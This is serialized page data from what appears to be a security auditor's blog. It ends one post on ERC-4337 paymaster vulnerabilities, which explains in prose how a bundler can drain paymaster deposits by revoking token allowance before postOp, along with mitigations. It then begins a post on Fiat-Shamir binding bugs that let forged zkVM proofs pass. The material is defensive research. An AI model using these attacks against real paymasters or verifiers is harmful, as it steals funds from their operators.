",{"type":22,"tag":101,"props":110828,"children":110829},{"style":166},[110830],{"type":27,"value":169},{"type":22,"tag":101,"props":110832,"children":110833},{"style":120},[110834],{"type":27,"value":110835}," ctx.sender,\n",{"type":22,"tag":101,"props":110837,"children":110838},{"class":103,"line":13054},[110839],{"type":22,"tag":101,"props":110840,"children":110841},{"style":120},[110842],{"type":27,"value":110843}," absoluteCostInToken\n",{"type":22,"tag":101,"props":110845,"children":110846},{"class":103,"line":13072},[110847],{"type":22,"tag":101,"props":110848,"children":110849},{"style":120},[110850],{"type":27,"value":3738},{"type":22,"tag":101,"props":110852,"children":110853},{"class":103,"line":13117},[110854],{"type":22,"tag":101,"props":110855,"children":110856},{"emptyLinePlaceholder":15},[110857],{"type":27,"value":1581},{"type":22,"tag":101,"props":110859,"children":110860},{"class":103,"line":13223},[110861,110865,110870,110874,110879,110883,110888,110892,110897],{"type":22,"tag":101,"props":110862,"children":110863},{"style":114},[110864],{"type":27,"value":93516},{"type":22,"tag":101,"props":110866,"children":110867},{"style":120},[110868],{"type":27,"value":110869}," preFundInToken ",{"type":22,"tag":101,"props":110871,"children":110872},{"style":166},[110873],{"type":27,"value":1511},{"type":22,"tag":101,"props":110875,"children":110876},{"style":120},[110877],{"type":27,"value":110878}," (ctx.preFund ",{"type":22,"tag":101,"props":110880,"children":110881},{"style":166},[110882],{"type":27,"value":8615},{"type":22,"tag":101,"props":110884,"children":110885},{"style":120},[110886],{"type":27,"value":110887}," ctx.exchangeRate) ",{"type":22,"tag":101,"props":110889,"children":110890},{"style":166},[110891],{"type":27,"value":8625},{"type":22,"tag":101,"props":110893,"children":110894},{"style":1544},[110895],{"type":27,"value":110896}," 1e18",{"type":22,"tag":101,"props":110898,"children":110899},{"style":120},[110900],{"type":27,"value":1520},{"type":22,"tag":101,"props":110902,"children":110903},{"class":103,"line":27496},[110904],{"type":22,"tag":101,"props":110905,"children":110906},{"emptyLinePlaceholder":15},[110907],{"type":27,"value":1581},{"type":22,"tag":101,"props":110909,"children":110910},{"class":103,"line":27531},[110911,110915,110920,110924,110928,110932,110936,110940,110944,110948,110952],{"type":22,"tag":101,"props":110912,"children":110913},{"style":3595},[110914],{"type":27,"value":7312},{"type":22,"tag":101,"props":110916,"children":110917},{"style":120},[110918],{"type":27,"value":110919}," (ctx.recipient ",{"type":22,"tag":101,"props":110921,"children":110922},{"style":166},[110923],{"type":27,"value":19686},{"type":22,"tag":101,"props":110925,"children":110926},{"style":114},[110927],{"type":27,"value":3540},{"type":22,"tag":101,"props":110929,"children":110930},{"style":120},[110931],{"type":27,"value":980},{"type":22,"tag":101,"props":110933,"children":110934},{"style":1544},[110935],{"type":27,"value":8065},{"type":22,"tag":101,"props":110937,"children":110938},{"style":120},[110939],{"type":27,"value":901},{"type":22,"tag":101,"props":110941,"children":110942},{"style":166},[110943],{"type":27,"value":76702},{"type":22,"tag":101,"props":110945,"children":110946},{"style":120},[110947],{"type":27,"value":110869},{"type":22,"tag":101,"props":110949,"children":110950},{"style":166},[110951],{"type":27,"value":14467},{"type":22,"tag":101,"props":110953,"children":110954},{"style":120},[110955],{"type":27,"value":110956}," costInToken) {\n",{"type":22,"tag":101,"props":110958,"children":110959},{"class":103,"line":27539},[110960,110965,110969,110974,110978],{"type":22,"tag":101,"props":110961,"children":110962},{"style":120},[110963],{"type":27,"value":110964}," SafeTransferLib.",{"type":22,"tag":101,"props":110966,"children":110967},{"style":926},[110968],{"type":27,"value":107145},{"type":22,"tag":101,"props":110970,"children":110971},{"style":120},[110972],{"type":27,"value":110973},"(ctx.token, ctx.sender, ctx.recipient, preFundInToken ",{"type":22,"tag":101,"props":110975,"children":110976},{"style":166},[110977],{"type":27,"value":8372},{"type":22,"tag":101,"props":110979,"children":110980},{"style":120},[110981],{"type":27,"value":110982}," costInToken);\n",{"type":22,"tag":101,"props":110984,"children":110985},{"class":103,"line":27547},[110986],{"type":22,"tag":101,"props":110987,"children":110988},{"style":120},[110989],{"type":27,"value":2398},{"type":22,"tag":101,"props":110991,"children":110992},{"class":103,"line":27556},[110993],{"type":22,"tag":101,"props":110994,"children":110995},{"emptyLinePlaceholder":15},[110996],{"type":27,"value":1581},{"type":22,"tag":101,"props":110998,"children":110999},{"class":103,"line":27598},[111000,111005,111009],{"type":22,"tag":101,"props":111001,"children":111002},{"style":3595},[111003],{"type":27,"value":111004}," emit",{"type":22,"tag":101,"props":111006,"children":111007},{"style":926},[111008],{"type":27,"value":107879},{"type":22,"tag":101,"props":111010,"children":111011},{"style":120},[111012],{"type":27,"value":111013},"(ctx.userOpHash, ctx.sender, ERC20_MODE, ctx.token, costInToken, ctx.exchangeRate);\n",{"type":22,"tag":101,"props":111015,"children":111016},{"class":103,"line":27631},[111017],{"type":22,"tag":101,"props":111018,"children":111019},{"style":120},[111020],{"type":27,"value":1734},{"type":22,"tag":23,"props":111022,"children":111023},{},[111024,111026,111031,111033,111039,111041,111047,111049,111054,111056,111061],{"type":27,"value":111025},"As shown above, the paymaster calculates the actual gas used and attempts to charge the user by calling ",{"type":22,"tag":30,"props":111027,"children":111029},{"className":111028},[],[111030],{"type":27,"value":107145},{"type":27,"value":111032},". Note that ",{"type":22,"tag":30,"props":111034,"children":111036},{"className":111035},[],[111037],{"type":27,"value":111038},"preFundCharged",{"type":27,"value":111040}," can be zero, as users can opt out of any ",{"type":22,"tag":30,"props":111042,"children":111044},{"className":111043},[],[111045],{"type":27,"value":111046},"preFund",{"type":27,"value":111048}," during the validation phase. If the user hasn't given sufficient allowance to Pimlico's paymaster for the transfer, the ",{"type":22,"tag":30,"props":111050,"children":111052},{"className":111051},[],[111053],{"type":27,"value":107946},{"type":27,"value":111055}," call inside ",{"type":22,"tag":30,"props":111057,"children":111059},{"className":111058},[],[111060],{"type":27,"value":109030},{"type":27,"value":111062}," will revert and the paymaster won't be able to collect payment from the user.",{"type":22,"tag":23,"props":111064,"children":111065},{},[111066,111068,111073,111075,111081,111083,111089],{"type":27,"value":111067},"However, even when ",{"type":22,"tag":30,"props":111069,"children":111071},{"className":111070},[],[111072],{"type":27,"value":107946},{"type":27,"value":111074}," fails, the EntryPoint will still complete the execution and pay the bundler who submitted it. Importantly, this payment comes from the paymaster's deposit, since during validation the ",{"type":22,"tag":30,"props":111076,"children":111078},{"className":111077},[],[111079],{"type":27,"value":111080},"requiredPrefund",{"type":27,"value":111082}," was taken from the paymaster's ",{"type":22,"tag":80,"props":111084,"children":111087},{"href":111085,"rel":111086},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L625-L627",[84],[111088],{"type":27,"value":1133},{"type":27,"value":231},{"type":22,"tag":23,"props":111091,"children":111092},{},[111093,111095,111100],{"type":27,"value":111094},"This creates a critical vulnerability for paymasters that implement post-execution charging patterns. Even if the ",{"type":22,"tag":30,"props":111096,"children":111098},{"className":111097},[],[111099],{"type":27,"value":107946},{"type":27,"value":111101}," call fails (meaning the paymaster couldn't collect payment from the user), the paymaster still has to pay the bundler's gas costs from their deposited funds. This vulnerability can be exploited by malicious bundlers in the following way:",{"type":22,"tag":6828,"props":111103,"children":111104},{},[111105,111123,111142,111153,111158],{"type":22,"tag":6832,"props":111106,"children":111107},{},[111108,111110,111115,111117],{"type":27,"value":111109},"The bundler creates a ",{"type":22,"tag":30,"props":111111,"children":111113},{"className":111112},[],[111114],{"type":27,"value":105689},{"type":27,"value":111116}," with an intentionally high ",{"type":22,"tag":30,"props":111118,"children":111120},{"className":111119},[],[111121],{"type":27,"value":111122},"gasPrice",{"type":22,"tag":6832,"props":111124,"children":111125},{},[111126,111128,111133,111135,111140],{"type":27,"value":111127},"The bundler ensures the ",{"type":22,"tag":30,"props":111129,"children":111131},{"className":111130},[],[111132],{"type":27,"value":107946},{"type":27,"value":111134}," call will fail by revoking the paymaster's token allowance before ",{"type":22,"tag":30,"props":111136,"children":111138},{"className":111137},[],[111139],{"type":27,"value":107946},{"type":27,"value":111141}," executes",{"type":22,"tag":6832,"props":111143,"children":111144},{},[111145,111146,111151],{"type":27,"value":2568},{"type":22,"tag":30,"props":111147,"children":111149},{"className":111148},[],[111150],{"type":27,"value":107946},{"type":27,"value":111152}," fails, the bundler still gets paid their high gas costs by the paymaster",{"type":22,"tag":6832,"props":111154,"children":111155},{},[111156],{"type":27,"value":111157},"The paymaster loses money since they paid the bundler but couldn't collect from the user",{"type":22,"tag":6832,"props":111159,"children":111160},{},[111161],{"type":27,"value":111162},"The bundler profits as long as their actual gas costs are less than what they charged",{"type":22,"tag":23,"props":111164,"children":111165},{},[111166,111168,111173,111175,111180],{"type":27,"value":111167},"This effectively allows bundlers to drain paymaster deposits by submitting ",{"type":22,"tag":30,"props":111169,"children":111171},{"className":111170},[],[111172],{"type":27,"value":105718},{"type":27,"value":111174}," designed to fail during ",{"type":22,"tag":30,"props":111176,"children":111178},{"className":111177},[],[111179],{"type":27,"value":107946},{"type":27,"value":111181}," while maximizing the gas costs they can charge to the paymaster.",{"type":22,"tag":23,"props":111183,"children":111184},{},[111185,111187,111192,111194,111199,111201,111207,111209,111214],{"type":27,"value":111186},"Some paymasters try to protect against this by simulating the ",{"type":22,"tag":30,"props":111188,"children":111190},{"className":111189},[],[111191],{"type":27,"value":105689},{"type":27,"value":111193}," execution before signing and allowing it to be submitted. However, this protection can be easily bypassed because an attacker can simply approve the required token allowance during simulation to pass validation, but then revoke the allowance just before the ",{"type":22,"tag":30,"props":111195,"children":111197},{"className":111196},[],[111198],{"type":27,"value":105689},{"type":27,"value":111200}," is submitted via ",{"type":22,"tag":30,"props":111202,"children":111204},{"className":111203},[],[111205],{"type":27,"value":111206},"handleOps",{"type":27,"value":111208},". This means the ",{"type":22,"tag":30,"props":111210,"children":111212},{"className":111211},[],[111213],{"type":27,"value":107946},{"type":27,"value":111215}," will pass simulation but fail during actual execution, allowing the bundler to drain the paymaster's deposit from the EntryPoint.",{"type":22,"tag":23,"props":111217,"children":111218},{},[111219],{"type":27,"value":111220},"To protect against this vulnerability, paymasters should implement pre-execution charging patterns rather than post-execution charging. This means requiring users to pre-fund the full estimated gas cost during the validation phase, before the operation executes. By collecting payment upfront, the paymaster is protected against failed post-execution transfers that could be exploited by malicious bundlers.",{"type":22,"tag":23,"props":111222,"children":111223},{},[111224],{"type":27,"value":111225},"If post-execution charging is absolutely necessary for UX reasons, paymasters have several mitigation strategies available. One approach is to restrict usage to a whitelist of trusted bundlers, though this introduces centralization concerns. Alternatively, Pimlico tries to address this issue by tightening API limits and constraining ERC-20 usage for its users.",{"type":22,"tag":23,"props":111227,"children":111228},{},[111229],{"type":27,"value":111230},"The most secure approach is to require upfront pre-funding, even though it may temporarily lock more user funds. This small UX tradeoff is worth the strong security guarantees it provides against paymaster exploitation.",{"type":22,"tag":39369,"props":111232,"children":111233},{"id":6776},[111234],{"type":27,"value":6779},{"type":22,"tag":23,"props":111236,"children":111237},{},[111238],{"type":27,"value":111239},"ERC-4337 paymasters enable powerful new UX patterns by abstracting away gas costs from end users. However, implementing them securely requires careful consideration of the standard's execution flow and potential attack vectors. The key lessons are:",{"type":22,"tag":6828,"props":111241,"children":111242},{},[111243,111248,111253,111258,111263],{"type":22,"tag":6832,"props":111244,"children":111245},{},[111246],{"type":27,"value":111247},"Always collect full payment during validation, not after execution",{"type":22,"tag":6832,"props":111249,"children":111250},{},[111251],{"type":27,"value":111252},"Be conservative with gas estimations and include safety margins",{"type":22,"tag":6832,"props":111254,"children":111255},{},[111256],{"type":27,"value":111257},"Carefully validate all user inputs and token transfers",{"type":22,"tag":6832,"props":111259,"children":111260},{},[111261],{"type":27,"value":111262},"Test extensively, including simulation of malicious behavior",{"type":22,"tag":6832,"props":111264,"children":111265},{},[111266,111268,111273],{"type":27,"value":111267},"Always review changes in new ",{"type":22,"tag":30,"props":111269,"children":111271},{"className":111270},[],[111272],{"type":27,"value":105770},{"type":27,"value":111274}," versions, as they may impact your paymaster's design and security assumptions",{"type":22,"tag":23,"props":111276,"children":111277},{},[111278,111280,111285,111287,111292,111294,111299],{"type":27,"value":111279},"The last point is particularly important as the ERC-4337 standard continues to evolve. Changes to the ",{"type":22,"tag":30,"props":111281,"children":111283},{"className":111282},[],[111284],{"type":27,"value":105770},{"type":27,"value":111286}," contract's behavior could potentially break existing ",{"type":22,"tag":30,"props":111288,"children":111290},{"className":111289},[],[111291],{"type":27,"value":105842},{"type":27,"value":111293}," implementations or introduce new security considerations. Developers should thoroughly review release notes and diffs when upgrading to new ",{"type":22,"tag":30,"props":111295,"children":111297},{"className":111296},[],[111298],{"type":27,"value":105770},{"type":27,"value":111300}," versions.",{"type":22,"tag":23,"props":111302,"children":111303},{},[111304],{"type":27,"value":111305},"By following these best practices, developers can build robust paymasters that enhance UX while protecting against exploitation. As the ERC-4337 ecosystem matures, secure paymaster implementations will be crucial for driving mainstream adoption of account abstraction.",{"type":22,"tag":23,"props":111307,"children":111308},{},[111309],{"type":27,"value":111310},"If you're building a paymaster and want to ensure it's secure against these and other vulnerabilities, consider getting an audit from us. Our team has extensive experience auditing ERC-4337 implementations and can help identify potential security issues before they impact production.",{"type":22,"tag":6891,"props":111312,"children":111313},{},[111314],{"type":27,"value":6895},{"title":7,"searchDepth":157,"depth":157,"links":111316},[111317,111318,111319,111326,111331,111332],{"id":105604,"depth":157,"text":105607},{"id":105620,"depth":157,"text":105623},{"id":105659,"depth":157,"text":105662,"children":111320},[111321,111322,111323,111324,111325],{"id":105682,"depth":182,"text":105689},{"id":105723,"depth":182,"text":105726},{"id":105749,"depth":182,"text":105752},{"id":18725,"depth":182,"text":105770},{"id":105842,"depth":182,"text":105853},{"id":105905,"depth":157,"text":111327,"children":111328},"Understanding the EntryPoint's Flow",[111329,111330],{"id":105961,"depth":182,"text":105964},{"id":106146,"depth":182,"text":106149},{"id":106389,"depth":157,"text":106395},{"id":107989,"depth":157,"text":107995,"children":111333},[111334,111335],{"id":108049,"depth":182,"text":108052},{"id":108109,"depth":182,"text":108112},"content:blog:2025-12-02-paymasters-evm.md","blog/2025-12-02-paymasters-evm.md","blog/2025-12-02-paymasters-evm",{"_path":111340,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":111341,"description":111342,"date":111343,"author":111344,"image":111347,"isFeatured":15,"onBlogPage":15,"tags":111349,"body":111351,"_type":6912,"_id":127156,"_source":6914,"_file":127157,"_stem":127158,"_extension":6917},"/blog/2026-03-03-zkvms-unfaithful-claims","Unfaithful Claims: Breaking 6 zkVMs","A zkVM verifier should be faithful to one thing above all else: its public claims. Yet we found six systems where this guarantee breaks. Learn how a subtle ordering bug lets an attacker bypass the cryptography entirely and prove mathematically impossible statements.","2026-03-03T12:00:00.000Z",[111345,111346],"himanshu","valter",{"src":111348,"width":100775,"height":17626},"/posts/zkvms-unfaithful-claims/title.png",[111350],"zkVM",{"type":19,"children":111352,"toc":127120},[111353,111358,111400,111413,111416,111422,111427,111555,111558,111564,111570,111575,111607,111755,111760,111883,111894,111905,111928,111939,111944,111977,111985,111990,111993,111999,112004,112010,112015,112020,112028,112046,112187,112192,112198,112291,113025,113093,113104,113112,113586,113592,114031,114371,114524,114529,115417,115573,115579,115671,115676,116261,116711,116787,116793,116798,116867,116877,116893,116903,116964,117383,117415,117425,117600,117605,117615,118215,118403,118421,118424,118430,118435,118443,118475,118837,118842,118927,118930,118936,118944,118949,118952,118958,118963,118971,118979,118987,118995,119028,119036,119044,119135,119386,119713,119721,119751,119921,120247,120252,120257,120274,120277,120282,120287,120299,120311,120902,120914,120926,120933,120941,120953,120961,120976,120981,121261,121280,121375,121394,121410,121413,121419,121424,121429,121436,121444,121451,121459,121472,121490,121950,122052,122057,122062,122078,122081,122087,122092,122104,122115,122120,122510,122517,122525,122550,122570,122826,122837,122856,123240,123586,123816,123975,124135,124703,124708,124734,124737,124743,124748,124755,124763,124776,124848,124859,124867,124877,124885,124896,125170,125259,125288,125291,125296,125430,125442,125449,125454,125607,125633,125640,125648,125653,125719,125724,126114,126201,126217,126220,126226,126231,126237,126337,126396,126401,126407,126412,126420,126425,126431,126436,126441,126447,126452,126455,126461,126467,126472,126477,126482,126487,126492,126495,126501,126664,126669,126672,126677,126688,127005,127010,127034,127039,127057,127062,127065,127071,127076,127081,127091,127096,127106,127116],{"type":22,"tag":23,"props":111354,"children":111355},{},[111356],{"type":27,"value":111357},"A zkVM verifier should be faithful to one thing above all else: its public claims. If the claimed input/output statement is false, verification must fail.",{"type":22,"tag":23,"props":111359,"children":111360},{},[111361,111363,111368,111369,111374,111375,111380,111381,111386,111387,111392,111393,111398],{"type":27,"value":111362},"We found six systems where this faithfulness breaks. Across ",{"type":22,"tag":9370,"props":111364,"children":111365},{},[111366],{"type":27,"value":111367},"Jolt",{"type":27,"value":758},{"type":22,"tag":9370,"props":111370,"children":111371},{},[111372],{"type":27,"value":111373},"Nexus",{"type":27,"value":758},{"type":22,"tag":9370,"props":111376,"children":111377},{},[111378],{"type":27,"value":111379},"Cairo-M",{"type":27,"value":758},{"type":22,"tag":9370,"props":111382,"children":111383},{},[111384],{"type":27,"value":111385},"Ceno",{"type":27,"value":758},{"type":22,"tag":9370,"props":111388,"children":111389},{},[111390],{"type":27,"value":111391},"Expander",{"type":27,"value":10515},{"type":22,"tag":9370,"props":111394,"children":111395},{},[111396],{"type":27,"value":111397},"Binius64",{"type":27,"value":111399},", public-claim data was not always bound into Fiat-Shamir transcripts before challenge generation. That subtle ordering bug turns statement values into attacker-controlled variables in later verification equations.",{"type":22,"tag":23,"props":111401,"children":111402},{},[111403,111405,111411],{"type":27,"value":111404},"In this post, we demonstrate how to exploit these unbound variables to bypass the cryptography entirely and prove mathematically impossible statements, such as finding a counterexample to Fermat's Last Theorem (see ",{"type":22,"tag":80,"props":111406,"children":111408},{"href":111407},"#challenges",[111409],{"type":27,"value":111410},"Challenges",{"type":27,"value":111412}," to try this out yourself). In a blockchain context, this could translate to receiving $1M out of thin air.",{"type":22,"tag":1398,"props":111414,"children":111415},{},[],{"type":22,"tag":53,"props":111417,"children":111419},{"id":111418},"jargon-cheat-sheet",[111420],{"type":27,"value":111421},"Jargon Cheat Sheet",{"type":22,"tag":23,"props":111423,"children":111424},{},[111425],{"type":27,"value":111426},"Before we go deeper, here's a one-liner for every term you'll encounter. The ZK ecosystem is particularly full of jargon and abbreviations, which may be off-putting to newcomers. Bookmark this section.",{"type":22,"tag":6839,"props":111428,"children":111429},{},[111430,111440,111450,111460,111470,111480,111490,111500,111510,111520,111530,111540],{"type":22,"tag":6832,"props":111431,"children":111432},{},[111433,111438],{"type":22,"tag":9370,"props":111434,"children":111435},{},[111436],{"type":27,"value":111437},"Fiat-Shamir",{"type":27,"value":111439},": Instead of a real verifier sending random challenges, hash everything so far to get \"random\" challenges. Makes proofs non-interactive.",{"type":22,"tag":6832,"props":111441,"children":111442},{},[111443,111448],{"type":22,"tag":9370,"props":111444,"children":111445},{},[111446],{"type":27,"value":111447},"Transcript",{"type":27,"value":111449},": The running hash state. You \"absorb\" data into it, then \"squeeze\" out challenges.",{"type":22,"tag":6832,"props":111451,"children":111452},{},[111453,111458],{"type":22,"tag":9370,"props":111454,"children":111455},{},[111456],{"type":27,"value":111457},"Polynomial Commitment",{"type":27,"value":111459},": Like a hash, but for polynomials. You commit to a polynomial, then later prove \"my polynomial evaluates to 42 at point 7\" without revealing the whole polynomial.",{"type":22,"tag":6832,"props":111461,"children":111462},{},[111463,111468],{"type":22,"tag":9370,"props":111464,"children":111465},{},[111466],{"type":27,"value":111467},"Sumcheck",{"type":27,"value":111469},": A protocol to prove \"this polynomial sums to H over all boolean inputs\" without actually computing the exponentially many terms. Reduces to checking one random point.",{"type":22,"tag":6832,"props":111471,"children":111472},{},[111473,111478],{"type":22,"tag":9370,"props":111474,"children":111475},{},[111476],{"type":27,"value":111477},"MLE (Multilinear Extension)",{"type":27,"value":111479},": Turn a table of values into a polynomial. The polynomial equals the table on 0/1 inputs and smoothly interpolates elsewhere. Key property: evaluating it is a linear function of the table entries.",{"type":22,"tag":6832,"props":111481,"children":111482},{},[111483,111488],{"type":22,"tag":9370,"props":111484,"children":111485},{},[111486],{"type":27,"value":111487},"Lookup / LogUp",{"type":27,"value":111489},": Prove \"all my values appear in this table\" by encoding membership as sums of fractions. If the sums match, the sets match (with high probability).",{"type":22,"tag":6832,"props":111491,"children":111492},{},[111493,111498],{"type":22,"tag":9370,"props":111494,"children":111495},{},[111496],{"type":27,"value":111497},"AIR",{"type":27,"value":111499},": \"Algebraic Intermediate Representation\" - a way to write \"valid execution trace\" as polynomial equations. If the equations hold, the trace is valid.",{"type":22,"tag":6832,"props":111501,"children":111502},{},[111503,111508],{"type":22,"tag":9370,"props":111504,"children":111505},{},[111506],{"type":27,"value":111507},"STARK",{"type":27,"value":111509},": Prove AIR constraints hold using commitments + random sampling + FRI. No trusted setup needed.",{"type":22,"tag":6832,"props":111511,"children":111512},{},[111513,111518],{"type":22,"tag":9370,"props":111514,"children":111515},{},[111516],{"type":27,"value":111517},"FRI",{"type":27,"value":111519},": \"Fast Reed-Solomon IOP\" - proves a committed function is actually a low-degree polynomial, not arbitrary garbage that passes spot-checks.",{"type":22,"tag":6832,"props":111521,"children":111522},{},[111523,111528],{"type":22,"tag":9370,"props":111524,"children":111525},{},[111526],{"type":27,"value":111527},"OODS",{"type":27,"value":111529},": \"Out-of-Domain Sampling\" - check the constraint polynomial at a random point outside the execution domain. Ties everything together.",{"type":22,"tag":6832,"props":111531,"children":111532},{},[111533,111538],{"type":22,"tag":9370,"props":111534,"children":111535},{},[111536],{"type":27,"value":111537},"GKR",{"type":27,"value":111539},": Verify arithmetic circuits layer-by-layer using sumcheck. Reduces \"check this huge circuit\" to \"check a few random evaluations.\"",{"type":22,"tag":6832,"props":111541,"children":111542},{},[111543,111548,111550],{"type":22,"tag":9370,"props":111544,"children":111545},{},[111546],{"type":27,"value":111547},"claimed_sum / opening_claim",{"type":27,"value":111549},": Prover-supplied values that feed into verification equations. ",{"type":22,"tag":9370,"props":111551,"children":111552},{},[111553],{"type":27,"value":111554},"These are the usual suspects for binding bugs.",{"type":22,"tag":1398,"props":111556,"children":111557},{},[],{"type":22,"tag":53,"props":111559,"children":111561},{"id":111560},"what-are-we-even-breaking",[111562],{"type":27,"value":111563},"What Are We Even Breaking?",{"type":22,"tag":1760,"props":111565,"children":111567},{"id":111566},"what-is-a-zkvm",[111568],{"type":27,"value":111569},"What is a zkVM?",{"type":22,"tag":23,"props":111571,"children":111572},{},[111573],{"type":27,"value":111574},"A zkVM proof claims that a program executed correctly on public inputs, producing the claimed public output, while hiding the full execution trace.",{"type":22,"tag":23,"props":111576,"children":111577},{},[111578,111580,111605],{"type":27,"value":111579},"Formally, the verifier is convinced that there exists a valid trace ",{"type":22,"tag":30,"props":111581,"children":111583},{"className":111582},[8026,8027],[111584],{"type":22,"tag":101,"props":111585,"children":111587},{"className":111586},[8032],[111588],{"type":22,"tag":101,"props":111589,"children":111591},{"className":111590,"ariaHidden":5608},[8037],[111592],{"type":22,"tag":101,"props":111593,"children":111595},{"className":111594},[8042],[111596,111600],{"type":22,"tag":101,"props":111597,"children":111599},{"className":111598,"style":25570},[8047],[],{"type":22,"tag":101,"props":111601,"children":111603},{"className":111602,"style":25576},[8053,25575],[111604],{"type":27,"value":840},{"type":27,"value":111606}," such that:",{"type":22,"tag":23,"props":111608,"children":111609},{},[111610],{"type":22,"tag":30,"props":111611,"children":111613},{"className":111612},[8026,8027],[111614],{"type":22,"tag":101,"props":111615,"children":111617},{"className":111616},[8032],[111618],{"type":22,"tag":101,"props":111619,"children":111621},{"className":111620,"ariaHidden":5608},[8037],[111622,111666,111741],{"type":22,"tag":101,"props":111623,"children":111625},{"className":111624},[8042],[111626,111630,111636,111640,111645,111649,111653,111658,111662],{"type":22,"tag":101,"props":111627,"children":111629},{"className":111628,"style":96469},[8047],[],{"type":22,"tag":101,"props":111631,"children":111633},{"className":111632},[8053],[111634],{"type":27,"value":111635},"∃",{"type":22,"tag":101,"props":111637,"children":111639},{"className":111638,"style":8231},[8133],[],{"type":22,"tag":101,"props":111641,"children":111643},{"className":111642,"style":25576},[8053,25575],[111644],{"type":27,"value":840},{"type":22,"tag":101,"props":111646,"children":111648},{"className":111647,"style":8231},[8133],[],{"type":22,"tag":101,"props":111650,"children":111652},{"className":111651,"style":8231},[8133],[],{"type":22,"tag":101,"props":111654,"children":111656},{"className":111655},[8236],[111657],{"type":27,"value":169},{"type":22,"tag":101,"props":111659,"children":111661},{"className":111660,"style":8231},[8133],[],{"type":22,"tag":101,"props":111663,"children":111665},{"className":111664,"style":8231},[8133],[],{"type":22,"tag":101,"props":111667,"children":111669},{"className":111668},[8042],[111670,111674,111685,111690,111695,111700,111704,111709,111714,111718,111723,111728,111732,111737],{"type":22,"tag":101,"props":111671,"children":111673},{"className":111672,"style":8154},[8047],[],{"type":22,"tag":101,"props":111675,"children":111677},{"className":111676},[8053],[111678],{"type":22,"tag":101,"props":111679,"children":111682},{"className":111680},[8053,111681],"mathsf",[111683],{"type":27,"value":111684},"VM",{"type":22,"tag":101,"props":111686,"children":111688},{"className":111687},[25704],[111689],{"type":27,"value":980},{"type":22,"tag":101,"props":111691,"children":111693},{"className":111692,"style":25576},[8053,25575],[111694],{"type":27,"value":25579},{"type":22,"tag":101,"props":111696,"children":111698},{"className":111697},[8165],[111699],{"type":27,"value":8168},{"type":22,"tag":101,"props":111701,"children":111703},{"className":111702,"style":8172},[8133],[],{"type":22,"tag":101,"props":111705,"children":111707},{"className":111706,"style":98574},[8053,25575],[111708],{"type":27,"value":10165},{"type":22,"tag":101,"props":111710,"children":111712},{"className":111711},[8165],[111713],{"type":27,"value":8168},{"type":22,"tag":101,"props":111715,"children":111717},{"className":111716,"style":8172},[8133],[],{"type":22,"tag":101,"props":111719,"children":111721},{"className":111720,"style":25576},[8053,25575],[111722],{"type":27,"value":840},{"type":22,"tag":101,"props":111724,"children":111726},{"className":111725},[25726],[111727],{"type":27,"value":2261},{"type":22,"tag":101,"props":111729,"children":111731},{"className":111730,"style":8231},[8133],[],{"type":22,"tag":101,"props":111733,"children":111735},{"className":111734},[8236],[111736],{"type":27,"value":26321},{"type":22,"tag":101,"props":111738,"children":111740},{"className":111739,"style":8231},[8133],[],{"type":22,"tag":101,"props":111742,"children":111744},{"className":111743},[8042],[111745,111749],{"type":22,"tag":101,"props":111746,"children":111748},{"className":111747,"style":25570},[8047],[],{"type":22,"tag":101,"props":111750,"children":111753},{"className":111751,"style":111752},[8053,25575],"margin-right:0.22222em;",[111754],{"type":27,"value":10194},{"type":22,"tag":23,"props":111756,"children":111757},{},[111758],{"type":27,"value":111759},"where:",{"type":22,"tag":6839,"props":111761,"children":111762},{},[111763,111793,111823,111853],{"type":22,"tag":6832,"props":111764,"children":111765},{},[111766,111791],{"type":22,"tag":30,"props":111767,"children":111769},{"className":111768},[8026,8027],[111770],{"type":22,"tag":101,"props":111771,"children":111773},{"className":111772},[8032],[111774],{"type":22,"tag":101,"props":111775,"children":111777},{"className":111776,"ariaHidden":5608},[8037],[111778],{"type":22,"tag":101,"props":111779,"children":111781},{"className":111780},[8042],[111782,111786],{"type":22,"tag":101,"props":111783,"children":111785},{"className":111784,"style":25570},[8047],[],{"type":22,"tag":101,"props":111787,"children":111789},{"className":111788,"style":25576},[8053,25575],[111790],{"type":27,"value":25579},{"type":27,"value":111792}," = program/circuit description (public)",{"type":22,"tag":6832,"props":111794,"children":111795},{},[111796,111821],{"type":22,"tag":30,"props":111797,"children":111799},{"className":111798},[8026,8027],[111800],{"type":22,"tag":101,"props":111801,"children":111803},{"className":111802},[8032],[111804],{"type":22,"tag":101,"props":111805,"children":111807},{"className":111806,"ariaHidden":5608},[8037],[111808],{"type":22,"tag":101,"props":111809,"children":111811},{"className":111810},[8042],[111812,111816],{"type":22,"tag":101,"props":111813,"children":111815},{"className":111814,"style":25570},[8047],[],{"type":22,"tag":101,"props":111817,"children":111819},{"className":111818,"style":98574},[8053,25575],[111820],{"type":27,"value":10165},{"type":27,"value":111822}," = public input",{"type":22,"tag":6832,"props":111824,"children":111825},{},[111826,111851],{"type":22,"tag":30,"props":111827,"children":111829},{"className":111828},[8026,8027],[111830],{"type":22,"tag":101,"props":111831,"children":111833},{"className":111832},[8032],[111834],{"type":22,"tag":101,"props":111835,"children":111837},{"className":111836,"ariaHidden":5608},[8037],[111838],{"type":22,"tag":101,"props":111839,"children":111841},{"className":111840},[8042],[111842,111846],{"type":22,"tag":101,"props":111843,"children":111845},{"className":111844,"style":25570},[8047],[],{"type":22,"tag":101,"props":111847,"children":111849},{"className":111848,"style":111752},[8053,25575],[111850],{"type":27,"value":10194},{"type":27,"value":111852}," = claimed public output",{"type":22,"tag":6832,"props":111854,"children":111855},{},[111856,111881],{"type":22,"tag":30,"props":111857,"children":111859},{"className":111858},[8026,8027],[111860],{"type":22,"tag":101,"props":111861,"children":111863},{"className":111862},[8032],[111864],{"type":22,"tag":101,"props":111865,"children":111867},{"className":111866,"ariaHidden":5608},[8037],[111868],{"type":22,"tag":101,"props":111869,"children":111871},{"className":111870},[8042],[111872,111876],{"type":22,"tag":101,"props":111873,"children":111875},{"className":111874,"style":25570},[8047],[],{"type":22,"tag":101,"props":111877,"children":111879},{"className":111878,"style":25576},[8053,25575],[111880],{"type":27,"value":840},{"type":27,"value":111882}," = private witness/trace (registers, memory history, intermediate values)",{"type":22,"tag":23,"props":111884,"children":111885},{},[111886,111888,111892],{"type":27,"value":111887},"The verifier does ",{"type":22,"tag":9370,"props":111889,"children":111890},{},[111891],{"type":27,"value":22483},{"type":27,"value":111893}," replay execution step by step. Instead, it checks algebraic constraints over committed 